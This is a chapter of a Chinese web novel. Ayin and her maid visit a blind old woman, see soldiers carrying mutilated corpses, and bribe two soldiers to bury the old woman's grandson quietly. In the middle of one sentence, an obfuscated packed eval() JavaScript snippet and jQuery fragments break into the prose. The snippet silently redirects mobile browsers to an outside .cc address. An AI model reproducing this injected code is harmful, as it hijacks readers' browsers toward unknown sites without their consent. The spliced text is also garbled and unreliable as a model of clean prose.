8. 怎敌他晚来风急

作品:《核狸

    “孬孙!回来了也不进来,非要我这个瞎了眼的老婆子来给你开门。真是不像话,看我怎么收拾你。”她将拐杖立起来,狠狠的在地上摔了几下。


    “老婆婆,我们是路过的,想讨口水喝,打扰您了实在是抱歉。”阿樱转头想带着嘉果离开。老婆婆这个样子,实在是不方便。


    “讨水喝的啊?进来吧,进来吧,这山上就我这一处房屋,再往前走啊,可是没有喝水的地方咯!”老婆婆挥手招呼阿樱进来,她示意门没有锁,一推就开。


    “多谢老婆婆,那就打扰了。”阿樱看了一眼身旁渴的快要晕厥的小丫头,终是开了门走了进去。


    老婆婆倒也麻利,也或是这地方就这么大,她早就把地图刻画在脑海里了。院内的木桌上多了壶热茶,周边也放了些坚果类的小零食。炒熟的南瓜籽,还有一些核桃。


    阿樱扶着老婆婆坐在木椅上,自己也坐下了。一旁的嘉果早已经等不及,慌忙的倒了几杯热茶,推到老婆婆和阿樱面前,自己则是不顾着水的热度,拿起杯子就往嘴边送,险些烫到。


    “小心着些。”老婆婆担忧的说着,她将拐杖靠在桌子上。


    “无事,小丫头毛手毛脚惯了,这次也是渴急了,才来打扰了老婆婆您。”阿樱眼神瞟过去,见着嘉果老实的多了,她一口一口的吹着茶水,手是半点也不敢碰杯子。


    “不打扰不打扰,平日里也就老婆子我和我那孬孙,如今他啊,出去执行了什么秘密任务,也不和我这老婆子说,这不,有些日子没回来了,空荡荡的,只有那几只鸡陪着,我还希望有人多来陪陪我呢!”老婆婆拿起拐杖指着鸡舍的方向,一边又叹了口气。


    “那以后我们定来多陪陪婆婆您!”嘉果暴力的用拳头捶开了那颗怎么都打不开的核桃,“砰”的一声,核桃开了,桌子上的茶水也撒了许多出来,这般折腾下,茶水也凉了几分。


    茶水流淌进口中,浸透着整个口腔,唇齿间皆被这甘甜的味道弥漫。


    “这茶甚是好喝,为何我从来没有喝过?”阿樱抿了抿嘴唇,回味着茶水的醇香。


    而一旁的嘉果大口大口的饮着,她满足的用袖子擦了擦嘴,听到阿樱的话,满脸疑问。


    嗯……刚才的茶有味道吗?


    “嗯,小姑娘可能猜出茶里放了些什么?”老婆婆笑而饮之。


    “嗯……春尖,红枣,桂圆……”阿樱又尝了一口,细细的品味着。其实不难,她可是给长离端茶倒水几百年呢。


    “不错不错,想不到像你这般年纪,也有懂茶之人。这还是我年轻之时,一位来自西北的好友相传的,这茶名为三泡台,就如这名字般,只能泡三壶,多了就品不出味道来了。”就如人一般,越是短暂,就越是怀念。


    “天色不早了,老婆婆,我们就不打扰您了,改日一定登门拜访,谢这滴水之恩。”阿樱揪着嘉果的领子把她拽了起来。


    “留下来吃饭吧,虽是些粗茶淡饭,可是老婆子我啊,厨艺那可是人人都夸的。”说罢,老婆婆就起身要去抓鸡。


    “不了不了,已是多有叨扰,家里做好了饭的,下次我们定要尝尝婆婆说婆有理手艺。”阿樱连忙拒绝了。她看着老婆婆欲言又止的样子,似乎是有什么事要问她。她也没多想,转身便往门口走去。


    “小姑娘,可曾有婚配啊?”老婆婆终是开了口。


    阿樱脚步顿了顿,随后微笑着回应:


    “未曾。”


    太好了,这姑娘真是不错,合了她这个老太婆的脾性,听着年龄也不大,与她那孬孙儿……甚好,甚好。


    ……


    从老婆婆处离开,阿樱与嘉果走了好一会儿,终于是踏进了这回家的大门。也不知为何,前方引起了一阵骚乱。


    “唉唉唉,让开让开,别挡着路了!”一排排士兵朝着阿樱这边走来。不,准确的来说,是朝着阿樱身后的大门走了过来。


    士兵门两个两个结成一队,都挑着个担架,约莫着得有几十个担架,担架用白布盖的严严实实。


    可是阿樱还是看到了。一双手臂由于担架的晃动,漏了出来。


    “血!姑娘,那手臂上都是血……”阿樱捂住嘉果的嘴,生怕多了什么事。


    那手臂上已无一块好肉,已经被泡的又肿又紫,全都是像被什么东西咬了的血窟窿。上面隐隐约约能看到蠕动的蛆虫。


    “呕……”阿樱用手帕遮住口鼻。一旁的士兵也察觉到异样,立马扯了扯白布,将那条手臂遮了起来。


    随着担架轻微的抖动,“啪嗒”一声,有几条蛆虫混着不明粘稠液体掉落在地,蠕动着身体往前爬。


    士兵挪动着脚步,一脚踩在了蛆虫上,蛆虫的汁水混着那粘稠的液体爆裂开来。


    大街上的人快要疯了,一阵骚乱,四散着往屋子里钻,也不管这是谁家的屋子或者店铺。


    一时间,大街上没有了人影,家家户户都将门窗关了个严严实实,只剩大街上愣住不敢动的阿樱和嘉果。


    整条街变得安安静静的,隐隐约约听得见士兵走路的声音,还有担架嘎吱嘎吱的声音,诡异至极。


    “姑…姑娘,咱们也走吧……”嘉果用僵着的手扯了扯阿樱的袖子,此时两人的胃里都是一阵翻江倒海。


    “好……”阿樱嘴里答应着,脚步却挪不动半分。


    恶臭味转眼间已经到了身旁,阿樱还是傻愣着,尸臭夹杂着血腥味,发烂的味道席卷阿樱整个鼻腔,再蔓延到胃里,脑海里,整个身体的血液里。这倒是让阿樱清醒了几分,她往身边看去,一旁的嘉果早就吐的不成样子。


    而她,回过头看着其中一个担架被抬出大门。


    其他担架都是四散着从城里分开抬走的。


    她察觉到了一丝不对。


    “慢着!”她向后面那两个抬着担架的士兵喊去。


    士兵闻声,脚步顿了一瞬,又向前继续走了。阿樱转过身,朝着抬着担架的士兵跑去,嘉果也是万万没想到,只是她吐的已经没力气再跑过去了。


    阿樱尽可能的屏住呼吸,实在憋不住时就呼吸一丢丢空气,即使如此,那难闻的臭味还是熏的她几近晕厥。


    “等等!咳咳。”臭味钻进她的嗓子,她忍不住咳嗽了两下。她用力拉住后面抬担架的士兵,亮出长离给她的腰牌。


    两名士兵见状,只是低头行了行礼,手里的担架并未放下。


    “姑娘可是有什么事情吩咐?”士兵的话里没有一丝温度。


    “你……你们抬的这具尸体可是要送去对面那座山上的草屋处?”阿樱干脆用手捏住鼻子,闻是闻不到了,可是嗓子可是遭老罪了。


    “正是。”回答的依然没有任何温度。


    正是……那这么说来,这男子便是老婆婆说出去执行任务的孙子了。她一个老人家,若是这点希望都没了……那岂不是……那样好的老婆婆,叫她怎么忍心?


    “这


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15182569|165349||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    样吧,两位士兵大哥,这点钱你们笑纳,权当给两位士兵大哥的喝酒钱,山里那户人家情况特殊,家里只剩一个瞎了眼的老婆婆,都是当兵的,理解一下家人,若是知道这人已经断了气,又是这般惨状,那岂不是要了老婆婆的命!能否帮我将他葬在山脚下,这样两位士兵大哥也不用如此费力的背一具尸体上山。”阿樱将一袋碎银子塞进其中一位士兵的手里,士兵眼里也都有了温度。


    “姑娘竟是如此善良之人,既然如此,我们便照着姑娘的话做了!”就连他们外出打仗或者出行任务,也都是不能保证性命的,未来若是他们如此,虽然心里想魂归故土,但是也是不愿意让家里人伤心的。


    “哎呦,总算是埋完喽!”最后一锹土填上,其中一个满脸胡渣的士兵拍了拍手上的土,一屁股坐到了木板做的墓碑旁边。


    “也不知道你叫什么名字,也只能用这木板当做你的墓碑了,兄弟啊,真是对不住。”他将肩膀搭在墓碑上,轻轻的拍了拍,就像在拍这个死去之人的肩膀一般。


    “你说像咱们这样的人,是不是都没什么好下场。这么多年过去了,最开始也没想着什么生死啊,妖界啊的,战争对当时的我来说可真是太遥远了。只想着当了兵,那就有银钱寄回家里,家里的婆娘也不至于那么辛苦。直到后来啊,我参加了那次的大战,存活下来的人少之又少,我第一次见到那种场面。尸横遍野,遍地都是血……”能活下来,真是不易。


    “别扯些没用的,现在不还活着呢吗,未来的事谁又知道,到死的时候自然会死,现在啊,喝好你的酒,能活一时是一时!”另外一个士兵回来了,他手里拿着两坛酒,碰给了坐在墓碑旁边的士兵一坛。


    “来!喝!”凉酒下肚,甚是畅快。


    “唉?兄弟,别光躺着,你也喝点。”另一个士兵举起酒坛子,倒了一些在墓前。


    “敬这卑贱的烂命!”几轮下来,两人早已经脸色泛红。


    “哪里卑贱了?可恨的是这世道,是那些作恶的坏蛋,能活到现在,咱们都不卑贱!那可是顶顶的幸运!”另一个士兵摇摇晃晃,动作也慢了几倍速。


    不知不觉间,酒没了,人也睡着了。


    世界上所有的鬼,都可能是其他人惦记了一辈子想见之人。


    小院内。


    “呦,回来了?今天玩的开心吗?”房顶上的男人甚是潇洒肆意,他眯着眼享受着月光浴,嘴里叼着一根狗尾巴草。


    阿樱先让嘉果准备洗澡水了,所以此时院子里只她一个,突然多了道声音,把她吓了一跳。寻了半天,才发现来人在屋檐上。


    阿樱不语,踮了踮脚尖,飞上屋檐,躺在了男人旁边。


    “这角度还真是不错,银星点点尽收眼底。”阿樱枕在手臂上,看着漫天星辰,心情也好了许多。若是真要说缺点……硌的她腰疼。


    “那是自然。”男人依旧闭着眼睛,微风吹动着他的发丝,面具下的面孔无人知晓。


    “你也住了有些时日了,我不阻止你刺杀那人,但是起码你也得交个房租吧。”阿樱是知道的,这些日子这个男人都在她的小院里。只是好像对她没有什么恶意。


    但是也不妨碍她防着他。


    “是不阻止,还是因为你打不过我?”男人饶有兴致,侧过身来看着阿樱。阿樱此时也正好转头,两人的视线对上了一秒,阿樱率先躲开了这神秘又炽热的眼神。


    她想到了一个绝妙的方法。